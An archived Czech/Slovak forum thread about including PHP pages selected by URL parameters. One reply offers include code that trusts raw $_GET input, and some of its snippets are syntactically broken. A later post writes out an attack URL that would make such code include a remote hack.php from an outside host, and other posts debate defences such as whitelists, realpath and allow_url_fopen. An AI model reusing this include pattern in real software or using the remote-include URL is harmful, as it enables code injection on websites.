include?id=jaknato&id=druhapromena
11 příspěvků
Archiv diskusního fóra
Fórum je uzavřené a slouží pouze ke čtení. Některé informace mohou být zastaralé.
-
Zdravím všechny php mágy v novém roce, kteří jsou určitě teď polní energie:-) a prosím o jednu malinkou radu. Na svých stránkách používám odkazy typu stranka.php?id=xyz <? if (file_exists("adresar1/".$_GET["id"].".php")){ include "adresar1/".$_GET["id"].".php"; } else { echo 'Požadovaná stránka nebyla nalezena.'; } ?> Teď bych ještě potřeboval volat stránky z různých adresářů. Tedy stranka.php?id=xyz&adresar=1 Pls, jak mam upravit na horní kod aby to fungovalo. Díkas Mára
-
<? if (file_exists("$_GET["id"].".php")){ include $_GET["id"].".php"; } else { echo 'Požadovaná stránka nebyla nalezena.'; } ?> A můžeš odkazovat stranka.php?id=adresar/stranka alebo... <? if (file_exists(".$_GET["adresar]."/".$_GET["id"].".php")){ include $_GET["adresar]."/".$_GET["id"].".php" } else { echo 'Požadovaná stránka nebyla nalezena.'; } ?> a odkazovat stranka.php?adresar=adresar&id=stranka
-
no nechcem ti radiť, ale toto čo používaš je dosť veľká bezpečnostná diera. lebo odkazom stranka.php?adresar=http://www.nal.wz.cz&id=hack ti zakombinujem do kódu svoj vlastný z http://www.nal.wz.cz/hack.php
-
>> Zdravím všechny php mágy v novém roce, kteří jsou určitě teď polní energie:-) Hm hm, plnej energie byl spíš server když mi ze srandy odrovnal půlku tabulek :E
-
..... dosť veľká bezpečnostná diera jo - uz to tu bylo - priklad z manualu (az dole): http://www.webzdarma.cz/forum/read.php?f=2&i=17589&t=17589
-
No evidetně tomu nerozumím, ale když jsem se díval na ten starší odkaz ve foru tak tam je: <?php switch ($_GET['str']) { case "2": $otev = 'druha.php'; break; // promenna = skutecna adresa case "3": $otev = 'treti.php'; break; case "4": $otev = 'ctvrta.php'; break; default: $otev = 'prvni.php'; break; } // vychozi nebo chyba include ($otev); ?> Přece když takhle mám přes 200 stránek, tak nebudu psát case 2 case 3 case xxx case 200 To bych to mohl psát až do zítřka. A co se týče oné bezpečností chyby. Tak to co používám, jsem si vytáhl z nějakého příspěvku tady na fóru, kde nějací borci psali, že to používají a je to bezpečné!
-
Bezpecnost spociva v tom, ze jde spustit pouze to, co je povolene. Je tam jeste jeden zpusob, ale ten jsem nezkousel - snad prispeje nekdo jiny.
-
Nemusíš používat tyhlety věci, pokud je tu zaplé open_basedir restriction a vyplé allow_url_fopen, tak by ti nic hrozit nemělo. Ale i tak, pomocí dobře použitého porovnání řetězců a použití fce realpath se to dá taky dobře ošetřit.
-
Pokud do file_exists() hodite url, vrati false, jelikoz kontroluje existenci souboru ve filesystemu, takze jaka dira...
-
tiez si myslim,ze je to diera, ked si mozem naincludovat, co chcem. ak nebudu osetrene chybove hlasky, tak to nazvime "include injection" ? :-)
-
Nemuzes si includovat, co chces. Muzes includovat jen to, co v danem adresari skutecne existuje.